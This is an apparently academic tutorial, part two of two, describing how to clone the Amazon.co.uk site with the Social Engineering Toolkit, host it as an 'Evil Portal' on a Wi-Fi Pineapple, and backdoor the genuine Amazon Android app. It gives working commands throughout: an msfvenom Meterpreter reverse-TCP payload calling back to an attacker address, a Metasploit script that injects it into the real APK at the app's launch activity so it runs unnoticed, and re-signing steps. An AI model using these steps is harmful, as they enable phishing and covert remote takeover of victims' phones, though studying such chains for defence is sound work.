Creating a malicious mobile app environment - Part 2 of 2

In part one we walked through the process of creating the first two phases of the mobile app environment. If you haven't already done so, you can read part 1 here. In this post we will look at phase 3 and 4 of the project, creating a website/portal to host our malicious application and start the process of decompiling a genuine android application to make it malicious.

Phase 3 - Cloning a website

The development of the phishing portal is considered in three stages.  In stage one, a website is cloned using the Social Engineering toolkit.  In stage two, the cloned website is modified to include a link that allows the rogue android application to be downloaded.  In the final stage, the website is transferred to the Wi-Fi Pineapple for final configuration.

Stage 1 - Cloning with SET.

To clone a website, we can use the Social Engineering Toolkit (SET) again. As previously noted during the creation of the QR codes, SET uses a numerical based navigation system.  The method required is the Site Cloner, which is found under the following menus:

1– Social-Engineering Attacks
2- Website Attack Vectors
3- Credential Harvester Attack method
2- Site Cloner

As well as cloning the website, the site cloner tool can also be used to capture user inputs.  For the purposes of this project, no information was captured however SET requires a IP address in order to progress to the cloning stage, followed by the URL of the website to be cloned:
192.168.0.5 & https://www.amazon.co.uk

Upon the process completing, SET automatically moves the generated files to the var/www/html directory on the client machine (192.168.0.5).  The three files created are index.html, post.php and harvester.txt.  As noted above, no information is being directly harvested from the cloned website, therefore you can delete the post.php and harvester.txt files.

Stage 2 - Modifying the cloned website

The HTML markup of the index.html file was then modified to include a link to the malicious app that we will create in phase 4.

The module used on the Wi-Fi Pineapple to host the cloned website required all files to use the .php file format extension.  The index.html was copied and changed to index.php using the following syntax: sudo cp index.html index.php

Stage 3 - Transfering site to Wi-Fi Pineapple

To host the cloned website, the Evil Portal module was downloaded and installed onto the Wi-Fi Pineapple, via the Wi-Fi Pineapple configuration menu, Modules > Manage Modules, accessed via the following url: http://172.16.42.1:1471 Prior to activating the Evil Portal, a new directory named Amazon was created inside the existing portals directory.

ssh root@172.16.42.1
ls
cd portals
mkdir Amazon

Once the directory was in place, the previously created index.php file was transferred over to the Wi-Fi Pineapple:
scp index.php root@172.16.42.1:/root/portals/Amazon/

So now we have a fake portal page which mimics Amazon.co.uk.

We also have a link included within this page which will allow a victim to download our malicious app.  This is where things start to get interesting.

Phase 4 - Creating our malicious app

Its worth noting that the actual MSc project investigated three different methods for creating the rogue application, these were:

1. A Generic rogue application - Contained no functionality.
2. Customized rogue application, visually mimicking a real world application - again containing no functionality.
3. Duplication of real world application with full functionality.

In order to ensure there is no suspicion from the user when using the application, we are only interested in duplicating the real world application, we want the app to function as expected, thus ensuring that it doesn't raise any suspicion when used.  To do this, we first need access to the original applications .APK file.

How it works:

The real world application (https://www.amazon.co.uk/gp/mas/get/android/) is downloaded and installed onto a Google Nexus 4.  A second Android application, Apk Extractor (https://play.google.com/store/apps/details?id=com.ext.ui&hl=en_GB) is also downloaded to the same device.  The Apk Extractor application allows previously installed applications to be extracted; subsequently this application will be modified using a customized script from the Metasploit Framework.  This script provides the functionality and processes required for injecting the malicious code from a rogue application into the original applications file structure.  Once the original application has been injected with the malicious code, the application is re-signed and zip aligned before being deployed.

Setting up:

As with all projects, its good to start off with a clean  folder / directory structure.  So from within my attacking machine, I create a new folder called malapp3, then inside this folder,create a 2nd folder called tool.

mkdir malapp3cd malapp3mkdir tool

Next, download the apk-embed-payload ruby script, (https://github.com/xc0d3rz/metasploit-apk-embed-payload) and place this inside the newly created  tool directory.

Creating a generic rogue application:

This is done via Msfvenom, a tool that is part of the Metasploit Framework.   To create the malicious application, the following syntax is used:

sudo msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > payload.apk

This creates the file payload.apk, containing two sets of instructions.  The first instruction creates a reverse TCP connection specific to the Android file format, connecting the payload.apk file back to the IP address of my machine using a specific port number.  The second instruction is embedded within the AndroidManifest.xml file that is part of the .apk file structure.  This file contains the permissions that allow access to the hardware and software services used during the exploitation of the mobile device.

After msfvenom has completed encoding the and creating the application, copy the newly created payload.apk into malapp3/tool.

Extracting the original application APK

To extract an original application, we use the Apk Extractor Android application was downloaded previously.  Upon installation, the application lists all previously installed applications on the device, the Amazon shopping application was chosen, and the subsequent Amazon_uk.amazon.mShop.android.apk was transferred into the malapp3/tool directory

The malapp3/tool directory now contains the following three files:

To merge the two applications together,we run the apk-embed-payload.rb script:

ruby apk-embed-payload.rb Amazonuk.amazon.mShop.android.apk –p android/meterpreter/reversetcp LHOST=192.168.0.5 LPORT=4444

The breakdown of full command is noted below:

ruby-apk-embed-payload.rb
This command invokes the script.

Amazon_uk.amazon.mShop.android.apk
This is the apk file into which the malicious code is injected.

–p android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444
This part of the command specifies the type of reverse connection that the command and control will listen for during the exploitation phase. The listening host IP address and the listening port number of the client machine is denoted by the LHOST=192.168.0.5 and the LPORT=4444 command.

The LHOST and LPORT settings must match the same configuration that was given to the original payload.apk file created above.  It was noted that the script would fail to proceed if the payload.apk was not present in the same directory as the apk-embed-payload.rb script.

To merge the files together, the script decompiles both .apk files, creating two new directories inside of the malapp3/tool directory. A third file, original.apk is also created, as shown below:

Back at the terminal, a prompt is displayed asking for a hook point to be chosen, as shown below:

The hook point is the method that allows the malicious code to run when the genuine application is started.  The apk-embed-payload.rb script attempts to determine the hook point automatically, however in this instance it failed to work as expected, resulting in this having to be done manually.

To determine which hook point was suitable, the AndroidManifest.xml file of the genuine application (Amazon_uk.amazon.mShop.android.apk) was examined.  This file was found inside the newly created original directory.  Using a text editor on the client machine, the find function was used to locate the specific android activity name of  “android.intent.action.MAIN”, as shown below:

By referencing documentation available on the Android developer website, it was noted that the “android.intent.action.MAIN” activity is considered as the entry point in Android applications.  This creates an ideal location to hook the malicious code to, allowing the reverse TCP connection back to the client machine which will start as soon as the application is opened.  To do this, the value of the android: name field contained inside the activity alias attribute was noted: “com.amazon.mShop.splashscreen.StartupActivity” - see below:

This alias represents the hook point required by the apk-embed-payload.rb script prompt running in the terminal. Returning to the terminal, the hook point identified above was located and the corresponding number entered, in our case the hook point is 191.

Upon entering the hook number, the script continues the process of copying the malicious code from the payload.apk file into the AndroidManifest.xml file of the genuine application before recompiling and creating the new malicious application - Amazon_uk _backdoored.apk

Resigning & Zip Align

Prior to deploying the modified malicious application to the test mobile devices, the application is signed using a developer certificate and optimized via the zip align tool. A working document noting the steps required in each procedure is available from the Android Developer website.  After the certificate and key were successfully generated, they were used to sign the application.  The zip align tool ensures that all uncompressed data inside application is aligned in 4-byte segments, allowing the application to interact in an efficient manner with the Android operating system.